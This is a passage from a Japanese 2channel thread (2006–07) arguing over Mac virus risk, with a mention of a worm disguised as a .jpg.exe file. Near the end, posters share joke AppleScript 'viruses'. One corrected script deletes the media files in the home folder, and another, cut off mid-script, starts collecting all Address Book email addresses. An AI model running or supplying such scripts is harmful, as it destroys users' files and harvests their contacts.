そしたら一目瞭然だろ？それとも評論してるだけでできないのぉ？ｗ
296:名称未設定
06/12/03 21:56:37 yVKqeqAC0
そんなにバカを煽らなくてもw
297:名称未設定
06/12/03 22:24:45 a6nWNcIF0
>>295
ウイルス作れるもんなら作ってみろって
コンテスト行ってAppleにとめられた馬鹿会社があったな。
マカはみんなそれと同じレベルなのか？ｗ
298:名称未設定
06/12/03 22:34:50 7HZ6K1Ut0
>>297
そういうコンテストは、それが始めてじゃないんだなw
299:名称未設定
06/12/04 01:08:29 OluzrkjY0
今日も潜在ユーザーがいっぱい吊れてますね。
Mac複数台持つから見ないって言うけど
自作の人は何枚マザー持ってるのやら？
そら儲かるよねw組み立ていらず手間いらず。
300:名称未設定
06/12/04 14:01:50 cUMcGmp00
>>297
>>295に対する答えになってない
301:名称未設定
06/12/04 14:25:31 yABHZ/300
ウイルス作るのって犯罪じゃないの？
それをやってみろって言うのも犯罪じゃないの？
302:名称未設定
06/12/04 14:31:19 o0MgCKHw0
>>301
威圧も強制力もないでしょ。
303:名称未設定
06/12/04 15:23:13 DFqIcUp10
>>301
脅迫状を書くのは、白。
脅迫状が相手に届いたら、黒。
304:名称未設定
06/12/04 19:41:09 jdrNWyHj0
マカ自体がウイルスで危険思想の持ち主
305:名称未設定
06/12/04 20:33:05 ntf1Tibj0
結局、いつものようにユーザー批判しかできなくなるんだよなw
306:名称未設定
06/12/04 21:02:46 brLWeOeu0
ウィルスの定義から言えばWindowsこそウィルスなんだけどな。
307:名称未設定
06/12/04 21:44:24 4foFkOEv0
ここに来て蘊蓄五月蠅いドザよ、頼むから俺に送ってくれ
技術的興味ってやつで試作で良いからさ。
その後は俺が全責任もつから。
蘊蓄垂れてるくらいだから簡単に作れるんだろ？ウイルスくらい。
308:名称未設定
06/12/04 21:46:04 4foFkOEv0
もちろんMacOSX用の強力なヤツな。
309:名称未設定
06/12/04 23:11:31 yABHZ/300
あんたが煽ってウイルス作ってもらって「こりゃスゲーや」って分かった時、他人が迷惑しているはずなんだが、それの責任取れるのか？
310:名称未設定
06/12/04 23:39:07 OluzrkjY0
まあどっちにしても悪いの解ってて作った奴が一番悪いんだけどね
311:名称未設定
06/12/05 01:17:08 R34eSlB80
>>309
しのごの逃げ口上言っとらんでとりあえずメアド欄とこに送りゃいいんじゃね？
そしたら俺にも転送してくれな >>307 俺も此処のdozaの実力見てみたいｗ
312:名称未設定
06/12/05 01:22:01 smBjAKpl0
そのメアドが本人と限らないし。
嫌がらせのため他人のメアドかもしれん。
313:307
06/12/05 01:41:58 ADLA+t1Z0
大丈夫だ。広がったら俺のせいだってことが明らかだし、
管理人もログその他情報を当局に渡すだろう。
当局がトレースすれば簡単に俺を割り出せるだろう。
俺自身の所有している完全閉鎖系のネットワークシステム内で
その実力を評価し、発表してやる。
311にはすまんが転送はしないほうがいいかもな、
万一の事態になったら先の発言から俺のせいになる。
312のIDをメアドに含ませてみた。メアドは俺が作ったという証だ。
それともう一つ。ウイルスっていうのは伝搬能力を持つものだからその機能もヨロ。
では寝るんでよろしくぅ 蘊蓄ドザ君！簡単だろ？１時間で作れ。
314:名称未設定
06/12/05 01:46:06 smBjAKpl0
ごくろうさん♪
315:名称未設定
06/12/05 03:20:04 JZrBZ1at0
>>313
316:名称未設定
06/12/05 07:09:01 FBN6In2R0
簡単なウイルスならすぐに作れるはず。ただの実行プログラムだし。
ただ、本格的に感染が広がっていくようなのは、作るのはそれなりに
エネルギーがいるんじゃないか。
317:名称未設定
06/12/05 14:51:04 qg4M9RDD0
Winだと実態はexeだけど表向きは・・・ってのをシステムにつっこんで
システム起動時にこっそりバックグラウンドで動いて～ってのが
けっこうあるんだが、そもそも普通の手段で「システムにこっそりファイル置く」
ってのができないしなぁ。まずそこから一穴必要だし。
UNIXファイルシステムのせいでその辺やったら固いし。
他のマシンとファイルやりとりすると、所有権やらががっちりついてて
作業したのに「上書きできません」とか出るのとか日常茶飯事だし。
さっき試しにJPGをシステムの中に落としてみたら、システム変更のための
認証求められたしな。
やりゃできない事はないんだろうけど、セキュリティが二重三重になってて
そいつら一つ一つの穴を使わなきゃ突破できないんで辛いというか、
対策で一カ所穴を塞がれたらもう活動できないというか。
あれだ、中入ったら自由に歩き回れて、業者用の裏口まであるWinと
正面玄関しか出入り口がなくて、各部屋にIDカードが必要なMac(UNIX)じゃ
普通の泥棒はどっちを狙うか？って話だわな。
318:名称未設定
06/12/05 16:50:23 r/csq9bb0
コンピュータの全てを知り尽くしたような 口ぶりのこういう↓
_., .,､._,r hh.､ y...u,_ ､ ､.,.,
.yl!).彳｝ﾞ.^ﾞ冖^^^ﾞﾞ'⌒ﾞﾞ「｛ .〕:!|ｧ_ l.r.
.rl!.「.ﾞ.′ .ﾞ.^ﾞ「.|^|'!.,.ri,､
_,.u:l 「″ _,..vv-─--v､､.,__ﾞ ´「 リﾞ .r
.-i(┴^ ,.v‐ ′ i!､ 厂^'ｰ､_ .'ﾞ/
.,l| .,.‐'ﾞr '=, .|ﾄ! .. ／_ ┘ _,
.［.′ .,r(,,vv!冖h厂 _,､､､,_ ¨ﾞ（） .ﾞﾞil|ﾘ冖ﾐ(ﾐ,.l|/ﾚ'
.|| _,yr!^″ ［.zli》ﾆ《)ﾐ|l;, |ノ冖ｰu「.,zzzzy,｛丁′
.!ミ .yr(l「′ 〔″ ｀.,i^ .〔.!!干「「)v）《ﾌ
i| __,/′.｝ . ＼,,,,,_,,,,,,vr″ .ﾞ)z ,メﾞ'ly
|ﾞ/|ﾚr》! ｝ .｝.. ／,v--r ,､u_:rﾌ'￢ｰ^″ ﾞミ
》ﾞ|′ .ミ .| .∨ ,､ ｛lzﾄrr┘ ＼从,,） ｝:! .《
｝｝.,rｰ ミ,,ｪ , .'|ﾌ .,,zu厶 ￣ ﾞ'^ l!
ﾞ|从 》″ | r -:(工ｪ」zﾐv_ n. 〔
.》ﾄ .′ ∨ 7vv=(干=─干ﾐl||l,_,z ″ 》
.《l,_ .'|! .__ , .￣ﾞ.. 〕
《^¨′ .ﾞ冖'^^'''冖 v＼ ｝
［ ､ . 〕 〔 .′ .」_ .ll′
.| | 」 ._｝ .hノ .:| ,.. .,.ﾄﾄ 〕
.｝ .^′ ﾞ《,_ .､,ﾉ ...厂､ .il
｝ _ .､ .ﾞﾞ'～ .y,_ _,r;|¨ <､､‐ . ﾉ
.｛, 〔 」 ´ ‐ 「ilﾘiｱｱｧｧｧ;lllllli(ﾘﾞ｝ ┌ 冫.. .ｱ
＼ ∨ﾞ . _ .- . ' .｀ﾞ厂¨厂ﾞ厂'. .ﾞ ､' .ﾞ. ヽ‐,r|
.ﾉy .´ ､ .: ' ..: .､ ' ｀ ' _ . .冫 -.',y;|^
キモドザなら楽勝だろ
たぶん・・・
319:名称未設定
06/12/08 01:51:36 DUt7wN9j0
>>82
一見詳しそうでまったくお話にならない。マカはこういう馬鹿が多いのか？
320:名称未設定
06/12/08 01:52:44 DUt7wN9j0
>>317
の間違い。とにかく317はアホすぎる・
321:名称未設定
06/12/08 02:01:44 Rf4Dsb9C0
>>319
お前この板にいるくせに、あんな馬鹿が多いかどうかもわからんのかw
322:名称未設定
06/12/08 16:55:04 qYsyKdA20
悔しいのはわかるが、
ちゃんと反論すれ
バカとかアホとか言い出した時点で
言い負かされたも同然だと思うが
323:名称未設定
06/12/08 17:23:28 F+FWRJmi0
でさ、OSX以降でMacが実際にウイルスに感染して被害にあった人いるの？
324:名称未設定
06/12/08 17:52:06 GL+1hILg0
>>323
少なくとも俺が知っていることは、Vista以降で
Windowsが実際にウイルスに感染して被害にあった人はいないということだ。
325:名称未設定
06/12/08 18:18:59 0DvYBIv80
Vista発売は2007年1月30日
そりゃまだ出てないしな。
ちなみに販売予定価格はHomeBasicが2万7090円、Ultimateが5万1240円
326:名称未設定
06/12/08 18:22:53 GL+1hILg0
Vista発売されてるだろ・・・
327:名称未設定
06/12/08 18:34:41 6lmKH4LS0
企業用には発売されたばかり。一般向けにはまだ売られてない。
328:名称未設定
06/12/08 18:35:01 0DvYBIv80
ちょっと店行って買ってきてみてくれないか？
329:名称未設定
06/12/08 18:37:41 6lmKH4LS0
VISTAもウイルスを完全に防御するわけではないだろうし
被害が出るのも時間の問題だな。
330:名称未設定
06/12/08 18:38:52 6lmKH4LS0
>>328
店舗では予約受け付けになってるよ。一般の消費者が買えるようになるのは来年。
331:名称未設定
06/12/08 18:47:48 GL+1hILg0
>>329
それを言ったらMacも同じ
332:アジェグ４倍 ◆4xAJeG.COM
06/12/08 20:19:20 Mrh2rCVr0
ウィルス作るマカがそんなにいっぱいいるぐらいなら、
マカの開発手法の本とかももっといっぱい出回ってるべ。
でも、イロイロ探してるけど、ナカナカなくてねぇ。
このアジェグが、マカでのアプリ開発がよくわかんねーうちは、
ウィルスは、そんなに心配せんでいいぞ。
こう見えても、おれはベーマガにプログラムを載せたこともあるんだぞ。
333:名称未設定
06/12/08 21:47:58 ythku/Vx0
こう見えてもって言われても・・・お前だれだよ
334:名称未設定
06/12/10 00:33:13 uT2svs9G0
マックは、BSD用のウイルスやUnix用のウイルス、スクリプトとかの影響ないん？
335:名称未設定
06/12/10 02:38:12 DriDDDlf0
それ、素で俺も尻耐。
336:名称未設定
06/12/10 03:29:01 QV9PMHrE0
いや、石もインテルだしそれは普通にかかるだろ。てか上で張られてた
ドザのいうところの”Macの脆弱性”ってBSDのカーネルに発見された脆弱性だし。
問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。
337:名称未設定
06/12/10 17:17:14 iaFiPqKY0
URLﾘﾝｸ(www.itmedia.co.jp)
338:名称未設定
06/12/10 18:04:03 8I43vNZp0
>>336
> 問題はどうやって感染させて、発病させて、感染を広げるかなんだが、そこがな。
いちばん簡単なのは、
メールでウイルス送って、これインストールしてみてって書いて、
実行したら、同じメールを自分の名前でパソコン内で
見つかったメールアドレスに送信する。
339:名称未設定
06/12/10 21:09:47 j0HbmTsC0
>>338
そんな簡単なのアップルスクリプトでもできるよ。
でも、広まらないには理由がある。
340:名称未設定
06/12/10 22:34:51 N5MLqs1v0
Appleユーザーがいないから。
341:名称未設定
06/12/10 22:40:07 Iquraa8/0
よりにもよってAppleユーザかよ
342:名称未設定
06/12/10 22:45:02 8I43vNZp0
ただ間違えただけなのに熱くなるな。
343:名称未設定
06/12/10 23:33:19 Iquraa8/0
ネタに突っ込みのつもりだったのだが
まぁどうでもいいけどね
344:名称未設定
06/12/14 01:17:06 mXfU+Acx0
>>342
必死だな
345:名称未設定
06/12/14 11:54:35 9UUVaUvZ0
『Macはウイルスにかからない』
Mac自体がウィルス可している事をドザはまだ知らない。
346:名称未設定
06/12/17 12:49:21 Q363lr750
そ う さ 俺 は い つ も 必 死 さ
347:名称未設定
06/12/17 13:20:07 DsKn3plD0
俺は高い所が大好きさぁー
348:名称未設定
06/12/20 19:39:48 /qLyXOwz0
Windows用のマルウェアは、新しいモノが日に1000以上が作られてるらしい。
反対にMacは年に2つくらい。
349:名称未設定
06/12/20 20:00:19 yC1yrT0n0
流行性ネコシャクシビールスにかからないのび太君
350:名称未設定
06/12/21 14:49:06 Q383K+zj0
だれかMacに感染するウイルスのリンクを貼ってくれ
おれのMacのアンチウイルスがどんな反応をするのか見せてくれ
インストールから2年。一度も警告を見たことがないんだよ。
351:名称未設定
06/12/21 19:17:48 62UKb9Ep0
>>350
Win用のウィルスでも反応するだろ？
ただ単に交友が少ないだけじゃね？
352:名称未設定
06/12/21 19:45:25 T2YpUAwZ0
>>350
ライブドアでギガメーラーに登録してみな。
毎日のようにWindows用ウィルスメールを受信してくれるぞ。
353:名称未設定
06/12/22 09:50:07 4Ewe7FNd0
>>351
言われてみればそうだ・・・
メールなんて携帯だしなぁ。
パソコンのメールなんて買い物するためにあるようなものになってる。
パソコンで交友なんて無いに等しい・・・orz
354:名称未設定
07/01/09 02:03:21 wNilCHdM0
>>351
どんな友達なんだ、そいつらはwww
355:名称未設定
07/01/11 12:17:27 7dILhP9I0
>>353
それも一応セキュリティとして成り立っている
356:名称未設定
07/01/11 14:42:27 Ls7o4aO10
ふ
357:名称未設定
07/01/11 15:01:23 H0BDiAGj0
Windowsみたいに、亜種が自動で増えるようなSFっぽいのが出回らないかなぁ。
358:名称未設定
07/01/11 23:00:26 0CJepYui0
Macにはまったく通用しません
359:名称未設定
07/01/13 10:15:28 252uAysO0
レゴがレゴを組み立てるっての、最近新聞に載ってたねえ
360:名称未設定
07/01/16 03:59:31 KOK9z5+q0
もうウイニー止めろって。ばかか。
URLﾘﾝｸ(www.asahi.com)
361:名称未設定
07/01/16 09:51:21 3Dl3WvEM0
金子氏の料金モデル云々の話を思い出すよ。
需要があるからいつまでもウィニーが消えない。
ウィニーの需要を打ち消せるような新しいサービスをはじめないと
たぶんいつまでもウィニーは消えないんじゃないかな。
362:名称未設定
07/01/19 18:31:29 N0jI1Rxe0
>>360
>朝日新聞の県庁所在地の総局長の私有パソコンからファイル交換ソフト
>「ウィニー」を介して、業務に関する情報が流出していたことが１５日、
>分かった。
こういう奴らもウィニーやってるんだなw
公務員や貧乏人だけかと思ってたよ。
もしかして天下りかな？
363:名称未設定
07/01/25 22:50:08 FmMMMMF60
あ
364:名称未設定
07/01/25 22:51:09 FmMMMMF60
うほ！いいID
365:名称未設定
07/01/27 19:33:14 TOWtuNvw0
>>362
ある程度の年齢になって家族もあって地位もあると
エロビデオも借りにくいんじゃね？
366:名称未設定
07/01/28 09:44:07 lLrJ64Fj0
まるでｳｲﾆｰ だ け 使ってて被害にあったみたいな言い方。
ちゃんと「ｳｲﾆｰで拾ったいかがわしいファイルを開こうとした」と
言ってくれ。
367:名称未設定
07/01/29 06:26:16 qz+/00EL0
本人はウイニーが入っているのを知らなかった、
というようなことを言っている、と読んだような……
368:名称未設定
07/01/29 12:53:04 oD9pkqCx0
やっぱりWindowsを使っていて被害にあったと書けないんだな。
369:名称未設定
07/02/03 00:04:38 EnJYLjPj0
>>367
エロ動画ファイルの保存場所には気づいたわけだ。
370:名称未設定
07/02/03 21:35:47 ZxcxZn+F0
で、キンタマウィルスってMacでは動かないんですか？
371:名称未設定
07/02/04 21:48:23 DsqkK0x+0
また誤解を招く新ＣＭきたね
372:名称未設定
07/02/04 21:50:55 B6mukgHw0
今のところ悪質なウィルス一つも存在しないMacなんで、
ウィルスにかからないといわれても否定できないっていうのが
現実だな。
373:名称未設定
07/02/04 21:54:25 4ohsQNph0
ウィルスにも見向きもされないマックというのが真実だろ。
誰も異存はないはずだ！！
374:↑
07/02/04 21:57:47 tbb2rpqR0
IDが梅夫と一緒
375:名称未設定
07/02/04 21:58:26 HEGOocJ3O
UNIXのウィルス＝Macのウィルスじゃないの？
376:名称未設定
07/02/04 22:05:19 tbb2rpqR0
Macのウィルス=>>373なのでは？
377:名称未設定
07/02/04 22:18:30 DNSQufqX0
ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
もう最新のMacじゃ動かないんだっけな。
いまならウィルスにかからないつっても問題ないな。
378:名称未設定
07/02/04 22:22:20 3ucmpb6I0
MacのCM、おもしろいね
「あ、ウイルス」といったらパソコンくんがMacの後ろに隠れたよｗ
やっぱMacは最高の高性能マシンだね
379:名称未設定
07/02/04 22:29:28 CmBXHcAN0
>>377
> ああ、そういやPPCコードからintelコードになったからPPC時代のウィルスは
> もう最新のMacじゃ動かないんだっけな。
PPC時代のウイルスを動かすためにRosettaがある。
380:名称未設定
07/02/04 23:12:24 HEGOocJ3O
ロゼッタちゃんは小悪魔だなあ。
381:名称未設定
07/02/05 08:43:50 h115+uBb0
猫のインフルエンザは人間にかからない。
382:名称未設定
07/02/05 11:22:50 j3OrL49P0
しかしCMではWindowsのウイルスはMacにはかからないと言っているわけではない
383:名称未設定
07/02/05 14:21:38 VrPa/zYm0
正直なところウィルス対策したことないまま10年経った。
危機感なさ過ぎですか？
384:名称未設定
07/02/05 15:34:24 q5dueWj90
>>378
未だに、ｳｨﾙｽ確認用にMacが活躍してたりするのか？
385:名称未設定
07/02/05 17:16:28 7LN1bD970
On Mac OS X Viruses
URLﾘﾝｸ(www.osxbook.com)
Mac OS X Internals の著者Amit Singh氏(現googleのMacマネージャ)のブログ。
過去のUNIX用に作られたウイルス等に言及しつつ、語っておられます。
実際にCで書かれたウイルスも公開してます。
要約すると、ウイルスを作ることはUNIXだろうが技術的には簡単。
しかし、それを広めることは別の問題である。
UNIXはWindowsよりも管理者権限などで広めにくいとしつつも、
OSXではadminが設定されたユーザーの権限が大きいので、
危うさを秘めている。注意しましょうね。
386:名称未設定
07/02/05 17:40:13 W+U7qxkVO
実証コードは何度も出回ったが、実害はゼロなのが現実。
387:名称未設定
07/02/05 19:32:32 ZpYbaTf80
spotlightをもし外部のアクセスで操作されれば、
パソコンの中身は丸見えだと思うけど、そんな危険性はないの？
388:名称未設定
07/02/05 19:37:06 nRVFiz990
>>387
先にVistaで実害が出そうだw
389:名称未設定
07/02/05 21:23:02 HvLsbHr90
>>387
操作されればね。
どうやってそれやるプログラムを不特定多数のマシンに
実装させるかってのが「ウィルス」が実害をもつかどうかの関門でしょ。
アプリを自由に仕込めるなら、どんな情報流出でも可能だよ。
390:名称未設定
07/02/05 21:49:49 DOVhm6c90
>>389
セキュリティホールを利用すれば簡単だよ。
391:名称未設定
07/02/05 23:28:51 HvLsbHr90
セキュリティホールって、そのへんに落ちてるもんじゃないよｗ
冷蔵庫に象を入れる方法知ってるかい？
392:名称未設定
07/02/06 00:32:18 AEJGxrb40
>>391
スモールライト？
393:名称未設定
07/02/06 09:19:18 hD3VpSVg0
>>382
猫のインフルエンザしかないので人間はウィルスにかからない。
394:名称未設定
07/02/06 13:45:38 +aribEbQ0
Mac OS Xに新たな脆弱性、Safariで悪用も
URLﾘﾝｸ(www.itmedia.co.jp)
Mac OS Xのバグ情報を公開しているMonth of Apple Bugs（MOAB）プロジェクトで報告され、
コンセプト実証コードも公開されている。
395:名称未設定
07/02/06 13:48:47 +aribEbQ0
Mac OS Xに新たな脆弱性，パッチ適用済み10.4.8にも影響
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
396:名称未設定
07/02/06 13:56:58 H16H5ZYx0
たしかにゲイシ様の言うとおりですね （ ´,_ゝ`）ﾌﾟｯ
>このほかにもGates氏は、VistaはMacよりセキュリティでもリードしていると主張している。
>
>「ここ最近、セキュリティ関係者は毎日Macの脆弱性を見つけている。毎日、マシンが完全に
>乗っ取られてしまうような深刻な脆弱性を発見しているのだ。Windowsマシンの場合、そのような
>脆弱性は月に一度見つけらるかどうかだろう」（Gates氏）
URLﾘﾝｸ(review.japan.zdnet.com)
397:名称未設定
07/02/06 15:28:47 Cao4nS/r0
どうぞお入り下さい。
398:名称未設定
07/02/06 23:20:15 iioGLmqQ0
セキュリティホールを見つける
Ｍac用ウィルスを作る。
穴にウィルスを入れる。
わあ、すごい簡単だねパパ
399:名称未設定
07/02/07 01:21:13 L4kM9jpQ0
相手を見つける
パンツを脱ぐ。
穴に入れる。
わあ、すごい簡単だねパパ
５万也
わあ、すごい出費だねパパ
400:名称未設定
07/02/11 10:30:22 Yn8rihpI0
>>378
まさにそういう使い方をうちではしてる。
ネットは基本的にMac側、そちらで出来ない事はWin
Win側で落としたファイルは、基本的にはMac側で先に開く。
つうか脆弱性みつかっても誰も相手にしないMac、
住人が少な過ぎて犯罪が起こらない孤島みたいな存在。
そんな孤島の住み心地が好きな私たち、って感じだよなMacは。
401:名称未設定
07/02/11 12:40:16 gmQJr8y+0
孤島というより、孤高なんじゃね？
かっこいいよねMac
402:名称未設定
07/02/11 22:24:01 xf7V6WEK0
孤高と言うより恥垢だろ(w)
403:名称未設定
07/02/11 23:02:52 AqTuSDe40
小学生並のギャグセンス乙
404:名称未設定
07/02/12 02:20:35 ZQRkadCd0
なんかOFFICEのインストーラーのふりをしてダブルクリックすると
ユーザーディレクトリ全消去。ってのならあるんだが、
そういう古典的なのは現在ウィルスとは言わないしなぁ・・・
405:名称未設定
07/02/12 10:29:03 z1SqSmaR0
それは単なるトラップでしょ
自己増殖能力持たないのはウィルスじゃないかと。
406:名称未設定
07/02/12 11:38:58 NIJVclae0
普通にウイルスとカテゴライズされていますよ。
407:名称未設定
07/02/12 13:25:05 z1SqSmaR0
それじゃあ出来が悪くてファイルが消えたり壊れたりする
アプリは全部ウイルスだな。
408:名称未設定
07/02/12 13:38:17 7EVA3xYW0
>>407
普通にウィルスとして扱われていますよ。
409:名称未設定
07/02/12 13:43:50 z1SqSmaR0
じゃあいつだかのバージョンのiTunesインストーラーでディレクトリ名にスペースがあると
ファイルがごっそり消えるやつ、
あれウイルスということになるけど、シマンテックに登録されてるのを示してくれ。
410:名称未設定
07/02/12 18:20:45 ZQRkadCd0
>>404はシマンテックウィルスデータベースに存在する
数少ないOSX用ウィルス（１０種）の一つ。実態はただのApplescript。
基本的にこの手の自分でダブルクリックして感染系のばっかりだなOSXのは。
感染報告数１、推定感染数１-50とか、検証ウィルスとかそんなんばっか。
411:名称未設定
07/02/12 19:36:27 z1SqSmaR0
>実態はただのApplescript。
なさけなさ杉
どうせ作者みずから報告して登録してもらったんだろ？
なんかなあ。それって胸を張ってウイルスと言えないだろ。
412:名称未設定
07/02/13 12:27:10 rJia1xwe0
MACでもキンタマやシャレタマに感染することがあるんでしょうか？
413:名称未設定
07/02/14 12:32:06 bUlLNHxV0
それ以前に使ってるヤツがキンタマやシャレタマに完全に犯されている罠。
414:名称未設定
07/02/14 14:36:29 2XuaQ1HS0
>>412
ない。
415:名称未設定
07/02/14 17:46:06 tUlLfHbj0
OSXではないが、Mac上でWindowsを動かしてりゃありえるけどな。
416:名称未設定
07/02/15 08:25:14 HgtDnO6O0
こんなメールが来てました。サブジェクトが面白い。
差出人 Allume Systems - A Smith Micro Company <AllumeSystems@reply.digitalriver.com>
返信先 Allume Systems - A Smith Micro Company <AllumeSystems@reply.digitalriver.com
宛先 Valued Customer <○△□@gmail.com>
日付 13 Feb 2007 12:18:59 -0600
件名 Macs don't get viruses. THINK AGAIN! VirusBarrier only $59.9
送信元 ntls.digitalriver.com
417:名称未設定
07/02/15 11:01:56 9jYSWwOB0
>>413-415
ありがとうございます。安心しました。
418:名称未設定
07/02/15 16:05:16 89+kAtcY0
417 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:00:04 ID: nPM2XMyQ0
1日遅れのバレンタイン
URLﾘﾝｸ(up3.viploader.net)
419 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:06:45 ID: fOXCS/PL0
>>417
img_01_0.jpg.exe ←これなに？Jpgじゃないみたいだけど
420 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:09:44 ID: CMiey2wD0
609 名前：/名無しさん[1-30].jpg[sage] 投稿日：2007/02/14(水) 19:11:39 ID:/fA+R1D50
>>562
viploader110564.zip落としてみました。
img_01_0.jpg.exe
ウイルストータルで
CAT-QuickHeal 9.00 02.13.2007 (Suspicious) - DNAScan
Ikarus T3.1.0.31 02.14.2007 Email-Worm.Win32.Bagle.BR
Sunbelt 2.2.907.0 02.09.2007 VIPRE.Suspicious
検出、PC有害。
カスペ他に検体提出してきまつ、ﾉｼﾉｼ。
419:名称未設定
07/02/15 16:06:11 89+kAtcY0
421 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:10:09 ID: nPM2XMyQ0
ゴメン誤爆
夏帆とは関係のないファイル
おまけに実行ファイルだし・・・
422 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:12:49 ID: ob5+Bo9P0
何処の誤爆？
423 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:13:35 ID: O7eKOAuU0
>>417を解凍しちゃったんだぜ？
424 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:15:09 ID: nPM2XMyQ0
>>422
セキュ板
425 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:28:24 ID: O7eKOAuU0
>>424
なんか登録してた顔文字が消えたんだけど・・・・
420:名称未設定
07/02/15 16:06:43 89+kAtcY0
426 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:30:22 ID: fOXCS/PL0
俺はMacだからどうでもいいけど
427 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:32:27 ID: O7eKOAuU0
>>422
そのスレに誘導してくれ
428 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:35:15 ID: nPM2XMyQ0
>>425
すまねー
大手ベンダーの定義が反応しないとかで今騒いでいて
踏んだ人にはリカバリを薦めているのでたぶん暴露ウイルスの類だと思う
ホントにごめんなさい
421:名称未設定
07/02/15 16:07:14 89+kAtcY0
429 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:36:33 ID: znfSzDMB0
切腹して詫びろ
430 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:37:12 ID: O7eKOAuU0
>>428
いやああああああああああああああああああああああああああ
431 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:47:26 ID: O7eKOAuU0
>>428
いいから誘導してくれ
セキュ板のスレに
432 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:51:43 ID: GAugjbMc0
なんか画像でも置いてけ
433 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 15:53:24 ID: O7eKOAuU0
おれの顔文字返せーーーーｳﾜｰﾝ
434 名前: 萌える名無し画像 Mail: sage 投稿日: 2007/02/15(木) 16:02:55 ID: fOXCS/PL0
かわいそうにw
422:名称未設定
07/02/15 16:08:28 89+kAtcY0
Winな人>>418のリンク踏むなよ
423:名称未設定
07/02/15 16:23:20 +OjmJvxy0
笑い事じゃねーよww
424:名称未設定
07/02/15 16:46:43 cpGBBzk10
なんだっけな、感染するとOutlookでウィルスメールをばらまく
Windows用ウィルスが蔓延した時に、ウィルス付きメールをMacで
開くと四角い添付画像ファイルに見える（Macで実害なし）んで
「うちにも来たよウィルス君」「あーこれかー」「うちにもキター！」
ってなんかほのぼのした祭りになってたっけな。
425:名称未設定
07/02/15 17:16:51 Wt10Qr6i0
ウイルス被害っていうけど、一般ユーザが被害を被るのは
こういう自爆的なものが大半だよなぁ。
426:名称未設定
07/02/15 17:31:46 iyEIJp3e0
>>391
冷蔵庫を開けて、その中に象を入れて、閉める。
427:名称未設定
07/02/16 09:13:53 zAEMir7m0
これ一休、ちと参れ。
428:名称未設定
07/02/24 14:21:58 qzX1g7vW0
MacはPCのウイルスに感染しません。※1
※1 ただしMacのウイルスには感染します。(ここは小さく)
429:名称未設定
07/02/27 19:19:06 UGfwGSgm0
Macのウィルスはあるよ。
「Macはウィルスに感染しません！」って、デマウィルスだよね。
430:名称未設定
07/02/28 04:37:38 dm6BZ6jz0
ウイルスにバイラスは感染しません。
431:名称未設定
07/02/28 10:21:06 dOsxh68I0
ウイルスはあるかもしれないけど、
10年以上ウイルス対策せずにMacを使ってて
一度も感染したことはありません。
432:名称未設定
07/02/28 17:20:17 otPMUGXQ0
tell application "Finder" to set homeDir to POSIX path of (path to home folder)
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jepg -delete"
do shell script "find "& quoted form of homeDir & quoted form of "-name *.jpg -delete"
わーい。ウイルスできた！
433:名称未設定
07/02/28 17:52:24 dm6BZ6jz0
>>432
>わーい。ウイルスできた！
きさまーー！！！！！
ゆるさぬーーー！！！
お宝画像が全部消えちまった！！！！！！！！
434:名称未設定
07/02/28 18:07:13 otPMUGXQ0
わーい。被害者第一号だ！
property extList : {jpg, jpeg, mov, rm, png, gif, tif, tiff, aiv, wav, mpg, wmv, wma}
tell application "Finder" to set homeDir to POSIX path of (path to home folder)
set cmd1 to "find "& quoted form of homeDir & quoted form of "-name *."
set cmd2 to quoted form of " -delete"
repeat ext in extList
do shell script cmd1 & ext & cmd2
end repeat
もっと凶悪にしてみたよ！動作確認は怖くてしてないよ！
435:名称未設定
07/02/28 19:41:53 4HPvhfiR0
スクリプトエディタにコピペしてみたけど、
構文エラー
変数jpgが定義されていません。
...て出たよ。
436:名称未設定
07/02/28 20:48:38 jqzA0Hup0
いくら検証してないからってグチャグチャすぎるだろ。
property extList : {"jpg", "jpeg", "mov", "rm", "png", "gif", "tif", "tiff", "aiv", "wav", "mpg", "wmv", "wma"} as list
tell application "Finder" to set homeDir to POSIX path of (path to home folder)
set cmd1 to "find " & quoted form of homeDir & " -name *."
set cmd2 to " -delete"
repeat with ext in extList
do shell script cmd1 & ext & cmd2
-- do shell script "echo " & cmd1 & ext & cmd2
end repeat
ホームフォルダ内に存在する動画、画像の多くを完全に消去するスクリプトなので、実行はお薦めできません。
437:名称未設定
07/02/28 20:50:16 g5shAS9O0
>>436
共謀罪
438:名称未設定
07/02/28 21:07:19 jqzA0Hup0
共謀罪とやらを調べてみましたが、
そもそも「組織的な犯罪集団」を満たしていませんから、
適用範囲外ですね。
また、実行すれば何が起こるかを明記してある以上、
何らかの法に背く行為ではないと思います。
439:名称未設定
07/03/01 06:38:23 Wn6KeLNY0
>>436
今度はうまく実行できたよ。
440:名称未設定
07/03/01 08:44:04 K3SAFVaq0
意欲的な犠牲者が一人(｀･ω･´)
441:名称未設定
07/03/01 09:19:08 JRPPfrCg0
注意Mac用のウィルスです.app ﾎﾝﾄﾊﾁｶﾞｳﾖ.exe
442:名称未設定
07/03/02 00:22:08 GT7xtDhH0
ばかにされてるーーー！！（＞＜）でもいいこと聞いた。
アドレスブックに登録してるメアドにメアドの一覧を送ります！！！
これで大丈夫？逮捕じゃないのね？
set l to {}
tell application "Address Book"
set a to people
repeat with p in a
try
set c to value of email 1 of p as string
end try
set end of l to c
end repeat
end tell
set cont to separateEmail(l)
repeat with e in l
